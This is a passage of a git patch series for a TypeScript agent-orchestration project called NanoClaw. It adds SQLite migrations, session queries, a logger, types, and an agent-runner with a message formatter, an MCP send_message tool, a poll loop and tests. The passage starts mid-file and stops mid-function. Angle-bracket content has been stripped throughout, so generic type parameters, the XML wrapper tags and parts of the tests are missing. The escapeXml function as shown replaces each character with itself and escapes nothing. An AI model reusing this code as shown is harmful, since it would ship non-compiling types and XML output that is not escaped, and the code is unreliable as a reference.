TEXT PRIMARY KEY, + channel_type TEXT NOT NULL, + platform_id TEXT NOT NULL, + name TEXT, + is_group INTEGER DEFAULT 0, + admin_user_id TEXT, + created_at TEXT NOT NULL, + UNIQUE(channel_type, platform_id) + ); + + CREATE TABLE messaging_group_agents ( + id TEXT PRIMARY KEY, + messaging_group_id TEXT NOT NULL REFERENCES messaging_groups(id), + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + trigger_rules TEXT, + response_scope TEXT DEFAULT 'all', + session_mode TEXT DEFAULT 'shared', + priority INTEGER DEFAULT 0, + created_at TEXT NOT NULL, + UNIQUE(messaging_group_id, agent_group_id) + ); + + CREATE TABLE sessions ( + id TEXT PRIMARY KEY, + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + messaging_group_id TEXT REFERENCES messaging_groups(id), + thread_id TEXT, + agent_provider TEXT, + status TEXT DEFAULT 'active', + container_status TEXT DEFAULT 'stopped', + last_active TEXT, + created_at TEXT NOT NULL + ); + CREATE INDEX idx_sessions_agent_group ON sessions(agent_group_id); + CREATE INDEX idx_sessions_lookup ON sessions(messaging_group_id, thread_id); + + CREATE TABLE pending_questions ( + question_id TEXT PRIMARY KEY, + session_id TEXT NOT NULL REFERENCES sessions(id), + message_out_id TEXT NOT NULL, + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + created_at TEXT NOT NULL + ); + `); + }, +}; diff --git a/src/db/migrations/index.ts b/src/db/migrations/index.ts new file mode 100644 index 0000000..54e848c --- /dev/null +++ b/src/db/migrations/index.ts @@ -0,0 +1,46 @@ +import type Database from 'better-sqlite3'; + +import { log } from '../../log.js'; +import { migration001 } from './001-initial.js'; + +export interface Migration { + version: number; + name: string; + up: (db: Database.Database) => void; +} + +const migrations: Migration[] = [migration001]; + +export function runMigrations(db: Database.Database): void { + db.exec(` + CREATE TABLE IF NOT EXISTS schema_version ( + version INTEGER PRIMARY KEY, + name TEXT NOT NULL, + applied TEXT NOT NULL + ); + `); + + const currentVersion = + (db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number | null })?.v ?? 0; + + const pending = migrations.filter((m) => m.version > currentVersion); + if (pending.length === 0) return; + + log.info('Running migrations', { + from: currentVersion, + to: pending[pending.length - 1].version, + count: pending.length, + }); + + for (const m of pending) { + db.transaction(() => { + m.up(db); + db.prepare('INSERT INTO schema_version (version, name, applied) VALUES (?, ?, ?)').run( + m.version, + m.name, + new Date().toISOString(), + ); + })(); + log.info('Migration applied', { version: m.version, name: m.name }); + } +} diff --git a/src/db/schema.ts b/src/db/schema.ts new file mode 100644 index 0000000..2d50d18 --- /dev/null +++ b/src/db/schema.ts @@ -0,0 +1,103 @@ +/** + * Reference copy of the current v2 schema. + * Read this to understand the DB structure. + * Actual creation is done by migrations — do not use this at runtime. + */ + +export const SCHEMA = ` +-- Agent workspaces: folder, skills, CLAUDE.md, container config +CREATE TABLE agent_groups ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL, + folder TEXT NOT NULL UNIQUE, + is_admin INTEGER DEFAULT 0, + agent_provider TEXT, + container_config TEXT, + created_at TEXT NOT NULL +); + +-- Platform groups/channels +CREATE TABLE messaging_groups ( + id TEXT PRIMARY KEY, + channel_type TEXT NOT NULL, + platform_id TEXT NOT NULL, + name TEXT, + is_group INTEGER DEFAULT 0, + admin_user_id TEXT, + created_at TEXT NOT NULL, + UNIQUE(channel_type, platform_id) +); + +-- Which agent groups handle which messaging groups +CREATE TABLE messaging_group_agents ( + id TEXT PRIMARY KEY, + messaging_group_id TEXT NOT NULL REFERENCES messaging_groups(id), + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + trigger_rules TEXT, + response_scope TEXT DEFAULT 'all', + session_mode TEXT DEFAULT 'shared', + priority INTEGER DEFAULT 0, + created_at TEXT NOT NULL, + UNIQUE(messaging_group_id, agent_group_id) +); + +-- Sessions: one folder = one session = one container when running +CREATE TABLE sessions ( + id TEXT PRIMARY KEY, + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + messaging_group_id TEXT REFERENCES messaging_groups(id), + thread_id TEXT, + agent_provider TEXT, + status TEXT DEFAULT 'active', + container_status TEXT DEFAULT 'stopped', + last_active TEXT, + created_at TEXT NOT NULL +); +CREATE INDEX idx_sessions_agent_group ON sessions(agent_group_id); +CREATE INDEX idx_sessions_lookup ON sessions(messaging_group_id, thread_id); + +-- Pending interactive questions +CREATE TABLE pending_questions ( + question_id TEXT PRIMARY KEY, + session_id TEXT NOT NULL REFERENCES sessions(id), + message_out_id TEXT NOT NULL, + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + created_at TEXT NOT NULL +); +`; + +/** + * Session DB schema — created fresh by the host for each session. + */ +export const SESSION_SCHEMA = ` +CREATE TABLE messages_in ( + id TEXT PRIMARY KEY, + kind TEXT NOT NULL, + timestamp TEXT NOT NULL, + status TEXT DEFAULT 'pending', + status_changed TEXT, + process_after TEXT, + recurrence TEXT, + tries INTEGER DEFAULT 0, + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + content TEXT NOT NULL +); + +CREATE TABLE messages_out ( + id TEXT PRIMARY KEY, + in_reply_to TEXT, + timestamp TEXT NOT NULL, + delivered INTEGER DEFAULT 0, + deliver_after TEXT, + recurrence TEXT, + kind TEXT NOT NULL, + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + content TEXT NOT NULL +); +`; diff --git a/src/db/sessions.ts b/src/db/sessions.ts new file mode 100644 index 0000000..57f00b9 --- /dev/null +++ b/src/db/sessions.ts @@ -0,0 +1,85 @@ +import type { PendingQuestion, Session } from '../types-v2.js'; +import { getDb } from './connection.js'; + +// ── Sessions ── + +export function createSession(session: Session): void { + getDb() + .prepare( + `INSERT INTO sessions (id, agent_group_id, messaging_group_id, thread_id, agent_provider, status, container_status, last_active, created_at) + VALUES (@id, @agent_group_id, @messaging_group_id, @thread_id, @agent_provider, @status, @container_status, @last_active, @created_at)`, + ) + .run(session); +} + +export function getSession(id: string): Session | undefined { + return getDb().prepare('SELECT * FROM sessions WHERE id = ?').get(id) as Session | undefined; +} + +export function findSession(messagingGroupId: string, threadId: string | null): Session | undefined { + if (threadId) { + return getDb() + .prepare('SELECT * FROM sessions WHERE messaging_group_id = ? AND thread_id = ? AND status = ?') + .get(messagingGroupId, threadId, 'active') as Session | undefined; + } + return getDb() + .prepare('SELECT * FROM sessions WHERE messaging_group_id = ? AND thread_id IS NULL AND status = ?') + .get(messagingGroupId, 'active') as Session | undefined; +} + +export function getSessionsByAgentGroup(agentGroupId: string): Session[] { + return getDb().prepare('SELECT * FROM sessions WHERE agent_group_id = ?').all(agentGroupId) as Session[]; +} + +export function getActiveSessions(): Session[] { + return getDb().prepare("SELECT * FROM sessions WHERE status = 'active'").all() as Session[]; +} + +export function getRunningSessions(): Session[] { + return getDb().prepare("SELECT * FROM sessions WHERE container_status IN ('running', 'idle')").all() as Session[]; +} + +export function updateSession( + id: string, + updates: Partial>, +): void { + const fields: string[] = []; + const values: Record = { id }; + + for (const [key, value] of Object.entries(updates)) { + if (value !== undefined) { + fields.push(`${key} = @${key}`); + values[key] = value; + } + } + if (fields.length === 0) return; + + getDb() + .prepare(`UPDATE sessions SET ${fields.join(', ')} WHERE id = @id`) + .run(values); +} + +export function deleteSession(id: string): void { + getDb().prepare('DELETE FROM sessions WHERE id = ?').run(id); +} + +// ── Pending Questions ── + +export function createPendingQuestion(pq: PendingQuestion): void { + getDb() + .prepare( + `INSERT INTO pending_questions (question_id, session_id, message_out_id, platform_id, channel_type, thread_id, created_at) + VALUES (@question_id, @session_id, @message_out_id, @platform_id, @channel_type, @thread_id, @created_at)`, + ) + .run(pq); +} + +export function getPendingQuestion(questionId: string): PendingQuestion | undefined { + return getDb().prepare('SELECT * FROM pending_questions WHERE question_id = ?').get(questionId) as + | PendingQuestion + | undefined; +} + +export function deletePendingQuestion(questionId: string): void { + getDb().prepare('DELETE FROM pending_questions WHERE question_id = ?').run(questionId); +} diff --git a/src/log.ts b/src/log.ts new file mode 100644 index 0000000..d1e820c --- /dev/null +++ b/src/log.ts @@ -0,0 +1,64 @@ +const LEVELS = { debug: 20, info: 30, warn: 40, error: 50, fatal: 60 } as const; +type Level = keyof typeof LEVELS; + +const COLORS: Record = { + debug: '\x1b[34m', + info: '\x1b[32m', + warn: '\x1b[33m', + error: '\x1b[31m', + fatal: '\x1b[41m\x1b[37m', +}; +const KEY_COLOR = '\x1b[35m'; +const MSG_COLOR = '\x1b[36m'; +const RESET = '\x1b[39m'; +const FULL_RESET = '\x1b[0m'; + +const threshold = LEVELS[(process.env.LOG_LEVEL as Level) || 'info'] ?? LEVELS.info; + +function formatErr(err: unknown): string { + if (err instanceof Error) { + return `{ type: "${err.constructor.name}", message: "${err.message}", stack: ${err.stack} }`; + } + return JSON.stringify(err); +} + +function formatData(data: Record): string { + const parts: string[] = []; + for (const [k, v] of Object.entries(data)) { + parts.push(`${KEY_COLOR}${k}${RESET}=${k === 'err' ? formatErr(v) : JSON.stringify(v)}`); + } + return parts.length ? ' ' + parts.join(' ') : ''; +} + +function ts(): string { + const d = new Date(); + const hh = String(d.getHours()).padStart(2, '0'); + const mm = String(d.getMinutes()).padStart(2, '0'); + const ss = String(d.getSeconds()).padStart(2, '0'); + const ms = String(d.getMilliseconds()).padStart(3, '0'); + return `${hh}:${mm}:${ss}.${ms}`; +} + +function emit(level: Level, msg: string, data?: Record): void { + if (LEVELS[level] < threshold) return; + const tag = `${COLORS[level]}${level.toUpperCase()}${level === 'fatal' ? FULL_RESET : RESET}`; + const stream = LEVELS[level] >= LEVELS.warn ? process.stderr : process.stdout; + stream.write(`[${ts()}] ${tag} ${MSG_COLOR}${msg}${RESET}${data ? formatData(data) : ''}\n`); +} + +export const log = { + debug: (msg: string, data?: Record) => emit('debug', msg, data), + info: (msg: string, data?: Record) => emit('info', msg, data), + warn: (msg: string, data?: Record) => emit('warn', msg, data), + error: (msg: string, data?: Record) => emit('error', msg, data), + fatal: (msg: string, data?: Record) => emit('fatal', msg, data), +}; + +process.on('uncaughtException', (err) => { + log.fatal('Uncaught exception', { err }); + process.exit(1); +}); + +process.on('unhandledRejection', (reason) => { + log.error('Unhandled rejection', { err: reason }); +}); diff --git a/src/types-v2.ts b/src/types-v2.ts new file mode 100644 index 0000000..7b202bb --- /dev/null +++ b/src/types-v2.ts @@ -0,0 +1,90 @@ +// ── Central DB entities ── + +export interface AgentGroup { + id: string; + name: string; + folder: string; + is_admin: number; // 0 | 1 + agent_provider: string | null; + container_config: string | null; // JSON: { additionalMounts, timeout } + created_at: string; +} + +export interface MessagingGroup { + id: string; + channel_type: string; + platform_id: string; + name: string | null; + is_group: number; // 0 | 1 + admin_user_id: string | null; + created_at: string; +} + +export interface MessagingGroupAgent { + id: string; + messaging_group_id: string; + agent_group_id: string; + trigger_rules: string | null; // JSON: { pattern, mentionOnly, excludeSenders, includeSenders } + response_scope: 'all' | 'triggered' | 'allowlisted'; + session_mode: 'shared' | 'per-thread'; + priority: number; + created_at: string; +} + +export interface Session { + id: string; + agent_group_id: string; + messaging_group_id: string | null; + thread_id: string | null; + agent_provider: string | null; + status: 'active' | 'closed'; + container_status: 'running' | 'idle' | 'stopped'; + last_active: string | null; + created_at: string; +} + +// ── Session DB entities ── + +export type MessageInKind = 'chat' | 'chat-sdk' | 'task' | 'webhook' | 'system'; +export type MessageInStatus = 'pending' | 'processing' | 'completed' | 'failed'; + +export interface MessageIn { + id: string; + kind: MessageInKind; + timestamp: string; + status: MessageInStatus; + status_changed: string | null; + process_after: string | null; + recurrence: string | null; + tries: number; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; // JSON blob +} + +export interface MessageOut { + id: string; + in_reply_to: string | null; + timestamp: string; + delivered: number; // 0 | 1 + deliver_after: string | null; + recurrence: string | null; + kind: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; // JSON blob +} + +// ── Pending questions (central DB) ── + +export interface PendingQuestion { + question_id: string; + session_id: string; + message_out_id: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + created_at: string; +} From 5a0098edc99205b6f1b75cf09aacdbedaa5fc7f3 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:36:55 +0300 Subject: [PATCH 066/485] =?UTF-8?q?v2=20phase=202:=20agent-runner=20?= =?UTF-8?q?=E2=80=94=20provider=20interface,=20poll=20loop,=20formatter?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit AgentProvider abstraction with Claude and Mock implementations. Poll loop reads messages_in, formats by kind, queries provider, writes results to messages_out. Concurrent polling pushes follow-up messages into active queries. - providers/types.ts: AgentProvider, AgentQuery, ProviderEvent - providers/claude.ts: wraps Agent SDK with MessageStream, hooks, transcript archiving - providers/mock.ts: canned responses with push() support - providers/factory.ts: createProvider() - formatter.ts: format by kind (chat/task/webhook/system), XML escaping, routing extraction - poll-loop.ts: poll → format → query → write, concurrent polling - mcp-tools.ts: MCP server with send_message tool - index-v2.ts: new entry point (config from env, enters poll loop) - 11 new tests, all 288 tests pass Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/formatter.ts | 126 ++++++++++ container/agent-runner/src/index-v2.ts | 96 ++++++++ container/agent-runner/src/mcp-tools.ts | 81 ++++++ container/agent-runner/src/poll-loop.test.ts | 210 ++++++++++++++++ container/agent-runner/src/poll-loop.ts | 162 ++++++++++++ .../agent-runner/src/providers/claude.ts | 231 ++++++++++++++++++ .../agent-runner/src/providers/factory.ts | 16 ++ container/agent-runner/src/providers/mock.ts | 66 +++++ container/agent-runner/src/providers/types.ts | 56 +++++ vitest.config.ts | 2 +- 10 files changed, 1045 insertions(+), 1 deletion(-) create mode 100644 container/agent-runner/src/formatter.ts create mode 100644 container/agent-runner/src/index-v2.ts create mode 100644 container/agent-runner/src/mcp-tools.ts create mode 100644 container/agent-runner/src/poll-loop.test.ts create mode 100644 container/agent-runner/src/poll-loop.ts create mode 100644 container/agent-runner/src/providers/claude.ts create mode 100644 container/agent-runner/src/providers/factory.ts create mode 100644 container/agent-runner/src/providers/mock.ts create mode 100644 container/agent-runner/src/providers/types.ts diff --git a/container/agent-runner/src/formatter.ts b/container/agent-runner/src/formatter.ts new file mode 100644 index 0000000..f3bb5a8 --- /dev/null +++ b/container/agent-runner/src/formatter.ts @@ -0,0 +1,126 @@ +import type { MessageInRow } from './db/messages-in.js'; + +/** + * Routing context extracted from messages_in rows. + * Copied to messages_out by default so responses go back to the sender. + */ +export interface RoutingContext { + platformId: string | null; + channelType: string | null; + threadId: string | null; + inReplyTo: string | null; +} + +/** + * Extract routing context from a batch of messages. + * Uses the first message's routing fields. + */ +export function extractRouting(messages: MessageInRow[]): RoutingContext { + const first = messages[0]; + return { + platformId: first?.platform_id ?? null, + channelType: first?.channel_type ?? null, + threadId: first?.thread_id ?? null, + inReplyTo: first?.id ?? null, + }; +} + +/** + * Format a batch of messages_in rows into a prompt string. + * Strips routing fields — the agent never sees platform_id, channel_type, thread_id. + */ +export function formatMessages(messages: MessageInRow[]): string { + if (messages.length === 0) return ''; + + // Group by kind + const chatMessages = messages.filter((m) => m.kind === 'chat' || m.kind === 'chat-sdk'); + const taskMessages = messages.filter((m) => m.kind === 'task'); + const webhookMessages = messages.filter((m) => m.kind === 'webhook'); + const systemMessages = messages.filter((m) => m.kind === 'system'); + + const parts: string[] = []; + + if (chatMessages.length > 0) { + parts.push(formatChatMessages(chatMessages)); + } + if (taskMessages.length > 0) { + parts.push(...taskMessages.map(formatTaskMessage)); + } + if (webhookMessages.length > 0) { + parts.push(...webhookMessages.map(formatWebhookMessage)); + } + if (systemMessages.length > 0) { + parts.push(...systemMessages.map(formatSystemMessage)); + } + + return parts.join('\n\n'); +} + +function formatChatMessages(messages: MessageInRow[]): string { + if (messages.length === 1) { + return formatSingleChat(messages[0]); + } + + const lines = ['']; + for (const msg of messages) { + const content = parseContent(msg.content); + const sender = content.sender || content.author?.fullName || content.author?.userName || 'Unknown'; + const time = formatTime(msg.timestamp); + const text = content.text || ''; + lines.push(`${escapeXml(text)}`); + } + lines.push(''); + return lines.join('\n'); +} + +function formatSingleChat(msg: MessageInRow): string { + const content = parseContent(msg.content); + const sender = content.sender || content.author?.fullName || content.author?.userName || 'Unknown'; + const time = formatTime(msg.timestamp); + const text = content.text || ''; + return `${escapeXml(text)}`; +} + +function formatTaskMessage(msg: MessageInRow): string { + const content = parseContent(msg.content); + const parts = ['[SCHEDULED TASK]']; + if (content.scriptOutput) { + parts.push('', 'Script output:', JSON.stringify(content.scriptOutput, null, 2)); + } + parts.push('', 'Instructions:', content.prompt || ''); + return parts.join('\n'); +} + +function formatWebhookMessage(msg: MessageInRow): string { + const content = parseContent(msg.content); + const source = content.source || 'unknown'; + const event = content.event || 'unknown'; + return `[WEBHOOK: ${source}/${event}]\n\n${JSON.stringify(content.payload || content, null, 2)}`; +} + +function formatSystemMessage(msg: MessageInRow): string { + const content = parseContent(msg.content); + return `[SYSTEM RESPONSE]\n\nAction: ${content.action || 'unknown'}\nStatus: ${content.status || 'unknown'}\nResult: ${JSON.stringify(content.result || null)}`; +} + +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function parseContent(json: string): any { + try { + return JSON.parse(json); + } catch { + return { text: json }; + } +} + +function formatTime(timestamp: string): string { + try { + const d = new Date(timestamp); + return `${d.getHours().toString().padStart(2, '0')}:${d.getMinutes().toString().padStart(2, '0')}`; + } catch { + return timestamp; + } +} + +function escapeXml(str: string): string { + return str.replace(/&/g, '&').replace(//g, '>').replace(/"/g, '"'); +} diff --git a/container/agent-runner/src/index-v2.ts b/container/agent-runner/src/index-v2.ts new file mode 100644 index 0000000..1005e56 --- /dev/null +++ b/container/agent-runner/src/index-v2.ts @@ -0,0 +1,96 @@ +/** + * NanoClaw Agent Runner v2 + * + * Runs inside a container. All IO goes through the session DB. + * No stdin, no stdout markers, no IPC files. + * + * Config: + * - SESSION_DB_PATH: path to session SQLite DB (default: /workspace/session.db) + * - AGENT_PROVIDER: 'claude' | 'mock' (default: claude) + * - NANOCLAW_ASSISTANT_NAME: assistant name for transcript archiving + * - NANOCLAW_ADMIN_USER_ID: admin user ID for permission checks + * + * Mount structure: + * /workspace/ + * session.db ← session SQLite DB + * outbox/ ← outbound files + * agent/ ← agent group folder (CLAUDE.md, skills, working files) + * .claude/ ← Claude SDK session data + */ + +import fs from 'fs'; +import path from 'path'; +import { fileURLToPath } from 'url'; + +import { createProvider, type ProviderName } from './providers/factory.js'; +import { runPollLoop } from './poll-loop.js'; + +function log(msg: string): void { + console.error(`[agent-runner] ${msg}`); +} + +const CWD = '/workspace/agent'; +const GLOBAL_CLAUDE_MD = '/workspace/global/CLAUDE.md'; + +async function main(): Promise { + const providerName = (process.env.AGENT_PROVIDER || 'claude') as ProviderName; + const assistantName = process.env.NANOCLAW_ASSISTANT_NAME; + + log(`Starting v2 agent-runner (provider: ${providerName})`); + + const provider = createProvider(providerName, { assistantName }); + + // Load global CLAUDE.md as additional system context + let systemPrompt: string | undefined; + if (fs.existsSync(GLOBAL_CLAUDE_MD)) { + systemPrompt = fs.readFileSync(GLOBAL_CLAUDE_MD, 'utf-8'); + log('Loaded global CLAUDE.md'); + } + + // Discover additional directories mounted at /workspace/extra/* + const additionalDirectories: string[] = []; + const extraBase = '/workspace/extra'; + if (fs.existsSync(extraBase)) { + for (const entry of fs.readdirSync(extraBase)) { + const fullPath = path.join(extraBase, entry); + if (fs.statSync(fullPath).isDirectory()) { + additionalDirectories.push(fullPath); + } + } + if (additionalDirectories.length > 0) { + log(`Additional directories: ${additionalDirectories.join(', ')}`); + } + } + + // MCP server path + const __dirname = path.dirname(fileURLToPath(import.meta.url)); + const mcpServerPath = path.join(__dirname, 'mcp-tools.js'); + + // SDK env + const env: Record = { + ...process.env, + CLAUDE_CODE_AUTO_COMPACT_WINDOW: '165000', + }; + + await runPollLoop({ + provider, + cwd: CWD, + mcpServers: { + nanoclaw: { + command: 'node', + args: [mcpServerPath], + env: { + SESSION_DB_PATH: process.env.SESSION_DB_PATH || '/workspace/session.db', + }, + }, + }, + systemPrompt, + env, + additionalDirectories: additionalDirectories.length > 0 ? additionalDirectories : undefined, + }); +} + +main().catch((err) => { + log(`Fatal error: ${err instanceof Error ? err.message : String(err)}`); + process.exit(1); +}); diff --git a/container/agent-runner/src/mcp-tools.ts b/container/agent-runner/src/mcp-tools.ts new file mode 100644 index 0000000..e56d6a8 --- /dev/null +++ b/container/agent-runner/src/mcp-tools.ts @@ -0,0 +1,81 @@ +import { Server } from '@modelcontextprotocol/sdk/server/index.js'; +import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; +import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js'; + +import { writeMessageOut } from './db/messages-out.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +/** + * Start the MCP server with NanoClaw tools. + * Reads the session DB path from SESSION_DB_PATH env var. + * Routing context is passed via env vars from the poll loop. + */ +export async function startMcpServer(): Promise { + const server = new Server({ name: 'nanoclaw', version: '2.0.0' }, { capabilities: { tools: {} } }); + + server.setRequestHandler(ListToolsRequestSchema, async () => ({ + tools: [ + { + name: 'send_message', + description: 'Send a chat message to the current conversation or a specified destination.', + inputSchema: { + type: 'object' as const, + properties: { + text: { type: 'string', description: 'Message content' }, + channel: { type: 'string', description: 'Target channel type (default: reply to origin)' }, + platformId: { type: 'string', description: 'Target platform ID' }, + threadId: { type: 'string', description: 'Target thread ID' }, + }, + required: ['text'], + }, + }, + ], + })); + + server.setRequestHandler(CallToolRequestSchema, async (request) => { + const { name, arguments: args } = request.params; + + if (name === 'send_message') { + const text = args?.text as string; + if (!text) { + return { content: [{ type: 'text', text: 'Error: text is required' }] }; + } + + const id = generateId(); + const platformId = (args?.platformId as string) || process.env.NANOCLAW_PLATFORM_ID || null; + const channelType = (args?.channel as string) || process.env.NANOCLAW_CHANNEL_TYPE || null; + const threadId = (args?.threadId as string) || process.env.NANOCLAW_THREAD_ID || null; + + writeMessageOut({ + id, + kind: 'chat', + platform_id: platformId, + channel_type: channelType, + thread_id: threadId, + content: JSON.stringify({ text }), + }); + + log(`send_message: ${id} → ${channelType || 'default'}/${platformId || 'default'}`); + return { content: [{ type: 'text', text: `Message sent (id: ${id})` }] }; + } + + return { content: [{ type: 'text', text: `Unknown tool: ${name}` }] }; + }); + + const transport = new StdioServerTransport(); + await server.connect(transport); + log('MCP server started'); +} + +// Run as standalone process +startMcpServer().catch((err) => { + log(`MCP server error: ${err instanceof Error ? err.message : String(err)}`); + process.exit(1); +}); diff --git a/container/agent-runner/src/poll-loop.test.ts b/container/agent-runner/src/poll-loop.test.ts new file mode 100644 index 0000000..7cc3074 --- /dev/null +++ b/container/agent-runner/src/poll-loop.test.ts @@ -0,0 +1,210 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; + +import { initTestSessionDb, closeSessionDb, getSessionDb } from './db/connection.js'; +import { getPendingMessages, markCompleted } from './db/messages-in.js'; +import { getUndeliveredMessages } from './db/messages-out.js'; +import { formatMessages, extractRouting } from './formatter.js'; +import { MockProvider } from './providers/mock.js'; + +beforeEach(() => { + initTestSessionDb(); +}); + +afterEach(() => { + closeSessionDb(); +}); + +function insertMessage(id: string, kind: string, content: object, opts?: { processAfter?: string }) { + getSessionDb() + .prepare( + `INSERT INTO messages_in (id, kind, timestamp, status, process_after, content) + VALUES (?, ?, datetime('now'), 'pending', ?, ?)`, + ) + .run(id, kind, opts?.processAfter ?? null, JSON.stringify(content)); +} + +describe('formatter', () => { + it('should format a single chat message', () => { + insertMessage('m1', 'chat', { sender: 'John', text: 'Hello world' }); + const messages = getPendingMessages(); + const prompt = formatMessages(messages); + expect(prompt).toContain('sender="John"'); + expect(prompt).toContain('Hello world'); + }); + + it('should format multiple chat messages as XML block', () => { + insertMessage('m1', 'chat', { sender: 'John', text: 'Hello' }); + insertMessage('m2', 'chat', { sender: 'Jane', text: 'Hi there' }); + const messages = getPendingMessages(); + const prompt = formatMessages(messages); + expect(prompt).toContain(''); + expect(prompt).toContain(''); + expect(prompt).toContain('sender="John"'); + expect(prompt).toContain('sender="Jane"'); + }); + + it('should format task messages', () => { + insertMessage('m1', 'task', { prompt: 'Review open PRs' }); + const messages = getPendingMessages(); + const prompt = formatMessages(messages); + expect(prompt).toContain('[SCHEDULED TASK]'); + expect(prompt).toContain('Review open PRs'); + }); + + it('should format webhook messages', () => { + insertMessage('m1', 'webhook', { source: 'github', event: 'push', payload: { ref: 'main' } }); + const messages = getPendingMessages(); + const prompt = formatMessages(messages); + expect(prompt).toContain('[WEBHOOK: github/push]'); + }); + + it('should format system messages', () => { + insertMessage('m1', 'system', { action: 'register_group', status: 'success', result: { id: 'ag-1' } }); + const messages = getPendingMessages(); + const prompt = formatMessages(messages); + expect(prompt).toContain('[SYSTEM RESPONSE]'); + expect(prompt).toContain('register_group'); + }); + + it('should handle mixed kinds', () => { + insertMessage('m1', 'chat', { sender: 'John', text: 'Hello' }); + insertMessage('m2', 'system', { action: 'test', status: 'ok', result: null }); + const messages = getPendingMessages(); + const prompt = formatMessages(messages); + expect(prompt).toContain('sender="John"'); + expect(prompt).toContain('[SYSTEM RESPONSE]'); + }); + + it('should escape XML in content', () => { + insertMessage('m1', 'chat', { sender: 'A y && z' }); + const messages = getPendingMessages(); + const prompt = formatMessages(messages); + expect(prompt).toContain('A<B'); + expect(prompt).toContain('x > y && z'); + }); +}); + +describe('routing', () => { + it('should extract routing from messages', () => { + getSessionDb() + .prepare( + `INSERT INTO messages_in (id, kind, timestamp, status, platform_id, channel_type, thread_id, content) + VALUES ('m1', 'chat', datetime('now'), 'pending', 'chan-123', 'discord', 'thread-456', '{"text":"hi"}')`, + ) + .run(); + + const messages = getPendingMessages(); + const routing = extractRouting(messages); + expect(routing.platformId).toBe('chan-123'); + expect(routing.channelType).toBe('discord'); + expect(routing.threadId).toBe('thread-456'); + expect(routing.inReplyTo).toBe('m1'); + }); +}); + +describe('mock provider', () => { + it('should produce init + result events', async () => { + const provider = new MockProvider((prompt) => `Echo: ${prompt}`); + const query = provider.query({ + prompt: 'Hello', + cwd: '/tmp', + mcpServers: {}, + env: {}, + }); + + const events: Array<{ type: string }> = []; + // End the stream after initial response + setTimeout(() => query.end(), 50); + + for await (const event of query.events) { + events.push(event); + } + + expect(events.length).toBeGreaterThanOrEqual(2); + expect(events[0].type).toBe('init'); + expect(events[1].type).toBe('result'); + expect((events[1] as { text: string }).text).toBe('Echo: Hello'); + }); + + it('should handle push() during active query', async () => { + const provider = new MockProvider((prompt) => `Re: ${prompt}`); + const query = provider.query({ + prompt: 'First', + cwd: '/tmp', + mcpServers: {}, + env: {}, + }); + + const events: Array<{ type: string; text?: string }> = []; + + // Push a follow-up after a short delay, then end + setTimeout(() => query.push('Second'), 30); + setTimeout(() => query.end(), 60); + + for await (const event of query.events) { + events.push(event); + } + + const results = events.filter((e) => e.type === 'result'); + expect(results).toHaveLength(2); + expect(results[0].text).toBe('Re: First'); + expect(results[1].text).toBe('Re: Second'); + }); +}); + +describe('end-to-end with mock provider', () => { + it('should read messages_in, process with mock provider, write messages_out', async () => { + // Insert a chat message + insertMessage('m1', 'chat', { sender: 'User', text: 'What is 2+2?' }); + + // Read and process + const messages = getPendingMessages(); + expect(messages).toHaveLength(1); + + const routing = extractRouting(messages); + const prompt = formatMessages(messages); + + // Create mock provider and run query + const provider = new MockProvider(() => 'The answer is 4'); + const query = provider.query({ + prompt, + cwd: '/tmp', + mcpServers: {}, + env: {}, + }); + + // Process events — simulate what poll-loop does + const { markProcessing } = await import('./db/messages-in.js'); + const { writeMessageOut } = await import('./db/messages-out.js'); + + markProcessing(['m1']); + + setTimeout(() => query.end(), 50); + + for await (const event of query.events) { + if (event.type === 'result' && event.text) { + writeMessageOut({ + id: `out-${Date.now()}`, + in_reply_to: routing.inReplyTo, + kind: 'chat', + platform_id: routing.platformId, + channel_type: routing.channelType, + thread_id: routing.threadId, + content: JSON.stringify({ text: event.text }), + }); + } + } + + markCompleted(['m1']); + + // Verify: message was processed + const processed = getPendingMessages(); + expect(processed).toHaveLength(0); + + // Verify: response was written + const outMessages = getUndeliveredMessages(); + expect(outMessages).toHaveLength(1); + expect(JSON.parse(outMessages[0].content).text).toBe('The answer is 4'); + expect(outMessages[0].in_reply_to).toBe('m1'); + }); +}); diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts new file mode 100644 index 0000000..e2712a5 --- /dev/null +++ b/container/agent-runner/src/poll-loop.ts @@ -0,0 +1,162 @@ +import { getPendingMessages, markProcessing, markCompleted } from './db/messages-in.js'; +import { writeMessageOut } from './db/messages-out.js'; +import { formatMessages, extractRouting, type RoutingContext } from './formatter.js'; +import type { AgentProvider, AgentQuery, McpServerConfig, ProviderEvent } from './providers/types.js'; + +const POLL_INTERVAL_MS = 1000; +const ACTIVE_POLL_INTERVAL_MS = 500; + +function log(msg: string): void { + console.error(`[poll-loop] ${msg}`); +} + +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +export interface PollLoopConfig { + provider: AgentProvider; + cwd: string; + mcpServers: Record; + systemPrompt?: string; + env: Record; + additionalDirectories?: string[]; +} + +/** + * Main poll loop. Runs indefinitely until the process is killed. + * + * 1. Poll messages_in for pending rows + * 2. Format into prompt, call provider.query() + * 3. While query active: continue polling, push new messages via provider.push() + * 4. On result: write messages_out + * 5. Mark messages completed + * 6. Loop + */ +export async function 